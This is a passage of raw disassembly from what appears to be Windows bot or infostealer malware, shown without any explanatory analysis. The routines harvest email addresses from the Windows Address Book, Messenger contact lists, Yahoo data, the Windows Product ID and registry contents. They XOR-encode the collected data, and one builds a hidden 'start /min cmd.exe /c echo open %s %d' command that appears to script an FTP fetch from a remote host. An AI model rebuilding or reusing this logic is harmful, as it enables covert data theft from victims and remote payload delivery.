jmp short loc_4362CC
; ---------------------------------------------------------------------------
loc_436289: ; CODE XREF: ___:0043627Ej
mov edx, [esp+14h]
mov eax, [esp+10h]
push eax
mov byte ptr [esp+edx+1E8h], 0
call ebp
lea ecx, [esp+0E0h]
push ecx
push offset aYahooS ; "yahoo: %s"
mov ecx, ebx
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 18h
loc_4362CC: ; CODE XREF: ___:0043615Aj
; ___:0043617Ej ...
mov ecx, [esp+16E4h]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 16E0h
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 1E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4364D0 proc near ; CODE XREF: sub_4016FEj
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4364D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 5
push 4Fh
push 14h
push 5
lea eax, [esp+3Ch+var_24]
push 7
mov esi, ecx
push eax
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017EE
add esi, 4
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
sub_4364D0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_436570: ; CODE XREF: ___:loc_401FF5j
sub esp, 6CCh
add ecx, 4
push ebx
push ebp
push esi
push edi
call sub_4017EE
mov ebp, [esp+6E0h]
push eax
lea ecx, [ebp+7Eh]
call sub_4012EE
test eax, eax
jnz loc_43680E
lea eax, [esp+14h]
mov dword ptr [esp+20h], 320h
push eax
push 0F003Fh
push 0
push offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
push 80000001h
call near ptr 2940000h
nop
mov eax, [esp+14h]
test eax, eax
jz loc_43680E
lea ecx, [esp+20h]
lea edx, [esp+1D8h]
push ecx
push edx
push 0
push 0
push offset byte_448F40
push eax
call near ptr 28F0000h
nop
mov eax, [esp+14h]
push eax
call near ptr 2910000h
nop
push 0
push 80h
push 4
push 0
push 1
lea ecx, [esp+1ECh]
push 80000000h
push ecx
call near ptr 286033Ah
nop
push 0
push 0
push 0
mov edi, eax
push 2
push 0
push edi
mov [esp+34h], edi
nop
call near ptr 2720000h
mov ebx, eax
test ebx, ebx
mov [esp+24h], ebx
jnz short loc_436649
push edi
call near ptr 284070Bh
nop
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
loc_436649: ; CODE XREF: ___:00436631j
push 0
push 0
push 0
push 4
push ebx
nop
call near ptr 272064Eh
mov esi, eax
test esi, esi
jnz short loc_436679
mov esi, dword_5118E0
push ebx
call esi
push edi
call esi
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
loc_436679: ; CODE XREF: ___:0043665Cj
xor edx, edx
xor eax, eax
mov dh, [esi+63h]
mov ah, [esi+61h]
mov dl, [esi+62h]
and eax, 0FFFFh
movsx ecx, byte ptr [esi+64h]
shl edx, 10h
or edx, eax
xor eax, eax
mov al, [esi+60h]
or edx, eax
mov eax, ecx
shl eax, 4
add eax, ecx
shl eax, 2
test eax, eax
jle short loc_436718
lea ecx, [eax+43h]
mov eax, 0F0F0F0F1h
lea edi, [edx+esi]
mul ecx
mov ebx, edx
shr ebx, 6
loc_4366BB: ; CODE XREF: ___:0043670Ej
xor eax, eax
mov ecx, edi
loc_4366BF: ; CODE XREF: ___:004366CFj
mov dl, [ecx]
add ecx, 2
mov [esp+eax+0ACh], dl
inc eax
cmp eax, 44h
jle short loc_4366BF
lea eax, [esp+0ACh]
lea ecx, [ebp+69h]
push eax
push offset aFoundEmailS_ ; "Found EMail (%s)."
mov byte ptr [esp+0F8h], 0
call sub_4014DD
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 18h
add edi, 44h
dec ebx
jnz short loc_4366BB
mov ebx, [esp+24h]
mov edi, [esp+1Ch]
loc_436718: ; CODE XREF: ___:004366A7j
push edi
mov edi, dword_5118E0
call edi
push esi
nop
call near ptr 272083Eh
push ebx
call edi
lea eax, [esp+18h]
push eax
push 0F003Fh
push 0
push offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
push 80000001h
nop
call near ptr 2940000h
test eax, eax
jnz loc_43680E
mov ebx, dword_511C00
mov dword ptr [esp+10h], 400h
mov dword ptr [esp+28h], 3
xor esi, esi
loc_436767: ; CODE XREF: ___:004367FEj
mov ecx, 20h
xor eax, eax
lea edi, [esp+2Ch]
push esi
rep stosd
lea ecx, [esp+30h]
push offset dword_448A50
push ecx
call ebx
mov ecx, 100h
xor eax, eax
lea edi, [esp+2E8h]
add esp, 0Ch
rep stosd
lea edx, [esp+10h]
lea eax, [esp+2DCh]
push edx
lea ecx, [esp+2Ch]
push eax
mov eax, [esp+20h]
push ecx
lea edx, [esp+38h]
push 0
push edx
push eax
inc esi
mov dword ptr [esp+28h], 400h
nop
call near ptr 28F0000h
test eax, eax
jnz short loc_436803
lea ecx, [esp+2DCh]
push ecx
push offset dword_448A44
lea ecx, [ebp+69h]
call sub_4014DD
mov dl, [ebp+94h]
push eax
mov al, [ebp+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 18h
push 64h
nop
call near ptr 2831CE8h
jmp loc_436767
; ---------------------------------------------------------------------------
loc_436803: ; CODE XREF: ___:004367C3j
mov ecx, [esp+18h]
push ecx
call near ptr 2910000h
nop
loc_43680E: ; CODE XREF: ___:00436594j
; ___:004365C4j ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 0B0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4368D0 proc near ; CODE XREF: sub_401E65j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4368D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 7
push 5
push 12h
push 4Fh
push 14h
push 5
lea eax, [esp+5Ch+var_3C]
push 7
mov esi, ecx
push eax
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_40168B
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_4368D0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 0Bh
push 17h
push 4Fh
push 14h
push 5
lea edx, [esp+34h]
push 7
push edx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_40168B
add esi, 32h
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4369E0 proc near ; CODE XREF: sub_401E6Aj
var_135 = byte ptr -135h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = byte ptr -124h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_108 = byte ptr -108h
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_4369E0
push eax
mov large fs:0, esp
sub esp, 12Ch
push ebx
push esi
mov esi, [esp+140h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_436EB7
push ebp
xor ebp, ebp
push ebp
push offset asc_444600 ; " "
lea eax, [esp+150h+var_128]
push 1
push eax
mov ecx, esi
mov [esp+158h+var_134], ebp
mov [esp+158h+var_130], 80h
call sub_4011EA
lea ecx, [esp+148h+var_134]
mov [esp+148h+var_4], ebp
push ecx
push 20019h
push ebp
mov ecx, eax
call sub_4017EE
mov edi, dword_511764
push eax
push 80000001h
call edi
or ebx, 0FFFFFFFFh
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push ebp
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push ebp
push ebp
mov ecx, eax
mov dword ptr [esp+154h], 1
call sub_4017EE
mov ebp, dword_51172C
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_436B0C
lea ecx, [esp+144h+var_108]
push ecx
push (offset loc_448B93+1)
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 18h
loc_436B0C: ; CODE XREF: sub_4369E0+FCj
mov ecx, [esp+144h+var_130]
push ecx
call near ptr 2910000h
nop
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 2
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017EE
push eax
push 80000002h
call edi
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 3
call sub_4017EE
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_436BF4
lea ecx, [esp+144h+var_108]
push ecx
push (offset loc_448B87+1)
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 18h
loc_436BF4: ; CODE XREF: sub_4369E0+1E4j
mov ecx, [esp+144h+var_130]
push ecx
nop
call near ptr 2910000h
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 4
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017EE
push eax
push 80000005h
call edi
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 5
call sub_4017EE
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_436CDC
lea ecx, [esp+144h+var_108]
push ecx
push offset loc_448B7C
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 18h
loc_436CDC: ; CODE XREF: sub_4369E0+2CCj
mov ecx, [esp+144h+var_130]
push ecx
nop
call near ptr 2910000h
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 6
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017EE
push eax
push 80000000h
call edi
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 7
call sub_4017EE
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_436DC4
lea ecx, [esp+144h+var_108]
push ecx
push offset aHkcrS ; "HKCR: %s"
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 18h
loc_436DC4: ; CODE XREF: sub_4369E0+3B4j
mov ecx, [esp+144h+var_130]
push ecx
nop
call near ptr 2910000h
push 0
push offset asc_444600 ; " "
lea edx, [esp+150h+var_128]
push 1
push edx
mov ecx, esi
mov [esp+158h+var_130], 80h
call sub_4011EA
lea ecx, [esp+148h+var_134]
mov [esp+148h+var_4], 8
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017EE
push eax
push 80000003h
call edi
lea ecx, [esp+148h+var_128]
mov [esp+148h+var_4], ebx
call sub_401226
push 0
push offset asc_444600 ; " "
lea edx, [esp+150h+var_128]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+148h+var_130]
lea edx, [esp+148h+var_10C]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov [esp+158h+var_4], 9
call sub_4017EE
push eax
mov eax, [esp+15Ch+var_134]
push eax
call ebp
test eax, eax
lea ecx, [esp+148h+var_128]
mov [esp+148h+var_4], ebx
setz [esp+148h+var_135]
call sub_401226
mov al, [esp+148h+var_135]
pop ebp
test al, al
jz short loc_436EAD
lea ecx, [esp+144h+var_10C]
push ecx
push offset aHkuS ; "HKU: %s"
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 18h
loc_436EAD: ; CODE XREF: sub_4369E0+49Dj
mov ecx, [esp+144h+var_134]
push ecx
jmp loc_436F51
; ---------------------------------------------------------------------------
loc_436EB7: ; CODE XREF: sub_4369E0+3Cj
lea ecx, [edi+32h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_436F57
lea edx, [esp+144h+var_12C]
mov [esp+144h+var_12C], eax
push edx
push 20019h
push eax
push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h
mov [esp+158h+var_110], 80h
call near ptr 2940000h
nop
mov edx, [esp+144h+var_12C]
lea eax, [esp+144h+var_110]
lea ecx, [esp+144h+var_8C]
push eax
push ecx
push 0
push 0
push offset aProductid ; "ProductId"
push edx
nop
call near ptr 28F0000h
test eax, eax
jnz short loc_436F4C
lea eax, [esp+144h+var_8C]
lea ecx, [esi+69h]
push eax
push offset aFoundWindowsPr ; "Found Windows Product ID (%s)."
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 18h
loc_436F4C: ; CODE XREF: sub_4369E0+539j
mov eax, [esp+144h+var_12C]
push eax
loc_436F51: ; CODE XREF: sub_4369E0+4D2j
nop
call near ptr 2910000h
loc_436F57: ; CODE XREF: sub_4369E0+4E9j
mov ecx, [esp+144h+var_C]
pop edi
pop esi
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 138h
retn 4
sub_4369E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 170h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4370F0 proc near ; CODE XREF: sub_401334j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
test esi, esi
jle short loc_43710D
mov cl, [esp+4+arg_8]
mov edx, [esp+4+arg_0]
loc_437103: ; CODE XREF: sub_4370F0+1Bj
cmp [eax+edx], cl
jz short loc_437111
inc eax
cmp eax, esi
jl short loc_437103
loc_43710D: ; CODE XREF: sub_4370F0+9j
pop esi
xor al, al
retn
; ---------------------------------------------------------------------------
loc_437111: ; CODE XREF: sub_4370F0+16j
pop esi
mov al, 1
retn
sub_4370F0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_437130: ; CODE XREF: ___:00401433j
push ecx
mov eax, [esp+18h]
push ebx
push ebp
push esi
push edi
push eax
mov dword ptr [esp+14h], 98h
nop
call near ptr 71AB2B66h
mov ebx, [esp+1Ch]
and eax, 0FFFFh
push ebx
mov [esp+2Ch], eax
nop
call near ptr 77C2C407h
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
nop
call near ptr 77C2C407h
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov eax, [esp+38h]
mov ecx, 6
mov esi, (offset loc_448B9F+1)
mov edi, edx
rep movsd
mov ecx, [esp+30h]
add esp, 8
mov [eax+ebp], cl
mov [eax+ebp+1], ch
mov eax, [esp+34h]
mov ecx, [esp+2Ch]
mov [esp+1Ch], edx
mov [eax+ebp], cl
mov [eax+ebp+1], ch
mov cx, [esp+2Eh]
mov [eax+ebp+2], cl
mov [eax+ebp+3], ch
mov eax, [esp+38h]
test eax, eax
jz short loc_4371EC
push ebx
push ebp
call eax
add esp, 8
loc_4371EC: ; CODE XREF: ___:004371E3j
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+2Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+1Ch]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_43722E: ; CODE XREF: ___:004372A7j
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_43726E
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_43726E
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_43726E
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4372A9
loc_43726E: ; CODE XREF: ___:0043723Cj
; ___:0043724Cj ...
mov esi, [esp+28h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_4372A0
loc_437293: ; CODE XREF: ___:0043729Ej
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_437293
loc_4372A0: ; CODE XREF: ___:00437291j
mov edx, [esp+1Ch]
mov [edx+13h], cl
jmp short loc_43722E
; ---------------------------------------------------------------------------
loc_4372A9: ; CODE XREF: ___:0043726Cj
mov eax, [esp+28h]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+20h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+20h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_511AD0
call esi
push ebp
call esi
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_437390: ; CODE XREF: ___:00401D75j
push ecx
push ebx
push ebp
push esi
push edi
mov edi, [esp+28h]
or ecx, 0FFFFFFFFh
xor eax, eax
mov dword ptr [esp+10h], 98h
repne scasb
mov eax, [esp+1Ch]
not ecx
dec ecx
lea ebx, [ecx+eax+1]
push ebx
call near ptr 77C2C407h
nop
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call near ptr 77C2C407h
nop
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov ecx, 6
mov esi, (offset loc_448B9F+1)
mov edi, edx
add esp, 8
rep movsd
mov esi, [esp+28h]
or ecx, 0FFFFFFFFh
mov edi, esi
mov [esp+18h], edx
repne scasb
mov edx, [esp+1Ch]
not ecx
mov eax, ecx
lea edi, [edx+ebp-2]
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, [esp+2Ch]
and ecx, 3
test eax, eax
rep movsb
jz short loc_437442
push ebx
push ebp
call eax
add esp, 8
loc_437442: ; CODE XREF: ___:00437439j
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+2Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+18h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_437484: ; CODE XREF: ___:004374FDj
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4374C4
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4374C4
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4374C4
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4374FF
loc_4374C4: ; CODE XREF: ___:00437492j
; ___:004374A2j ...
mov esi, [esp+28h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_4374F6
loc_4374E9: ; CODE XREF: ___:004374F4j
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_4374E9
loc_4374F6: ; CODE XREF: ___:004374E7j
mov edx, [esp+18h]
mov [edx+13h], cl
jmp short loc_437484
; ---------------------------------------------------------------------------
loc_4374FF: ; CODE XREF: ___:004374C2j
mov eax, [esp+28h]
push eax
call near ptr 77C2C21Bh
nop
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+1Ch]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+1Ch]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_511AD0
call esi
push ebp
call esi
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4375F0: ; CODE XREF: ___:00401FFFj
mov eax, 200Ch
call sub_437B30
mov eax, [esp+2028h]
mov ecx, [esp+202Ch]
push ebx
mov edx, [esp+2028h]
push ebp
push esi
push edi
push eax
push eax
mov eax, [esp+2048h]
push eax
mov eax, [esp+203Ch]
push ecx
push edx
push eax
lea ecx, [esp+34h]
push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "...
push ecx
mov dword ptr [esp+34h], 98h
nop
call near ptr word_5F67AE
lea edi, [esp+3Ch]
or ecx, 0FFFFFFFFh
xor eax, eax
mov edx, [esp+2044h]
repne scasb
not ecx
dec ecx
lea ebx, [ecx+edx+1]
push ebx
call near ptr 77C2C407h
nop
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+2044h]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call near ptr 77C2C407h
nop
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov ecx, 6
mov esi, (offset loc_448B9F+1)
mov edi, edx
add esp, 28h
rep movsd
lea edi, [esp+1Ch]
or ecx, 0FFFFFFFFh
repne scasb
mov [esp+10h], edx
mov edx, [esp+2024h]
not ecx
mov eax, ecx
lea esi, [esp+1Ch]
lea edi, [edx+ebp-2]
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, [esp+2044h]
and ecx, 3
test eax, eax
rep movsb
jz short loc_4376F2
push ebx
push ebp
call eax
add esp, 8
loc_4376F2: ; CODE XREF: ___:004376E9j
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+1Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_437734: ; CODE XREF: ___:004377ADj
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_437774
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_437774
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_437774
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4377AF
loc_437774: ; CODE XREF: ___:00437742j
; ___:00437752j ...
mov esi, [esp+18h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+14h]
inc ecx
test ebx, ebx
mov [esp+14h], ecx
jle short loc_4377A6
loc_437799: ; CODE XREF: ___:004377A4j
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_437799
loc_4377A6: ; CODE XREF: ___:00437797j
mov edx, [esp+10h]
mov [edx+13h], cl
jmp short loc_437734
; ---------------------------------------------------------------------------
loc_4377AF: ; CODE XREF: ___:00437772j
mov eax, [esp+18h]
push eax
call near ptr 77C2C21Bh
nop
mov ecx, [esp+2030h]
mov edx, [esp+202Ch]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+14h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+14h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_511AD0
call esi
push ebp
call esi
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
add esp, 200Ch
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4378B0: ; CODE XREF: ___:0040191Fj
push ecx
push ebx
mov ebx, [esp+10h]
push ebp
push esi
push edi
push ebx
mov dword ptr [esp+14h], 98h
nop
call near ptr 77C2C407h
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
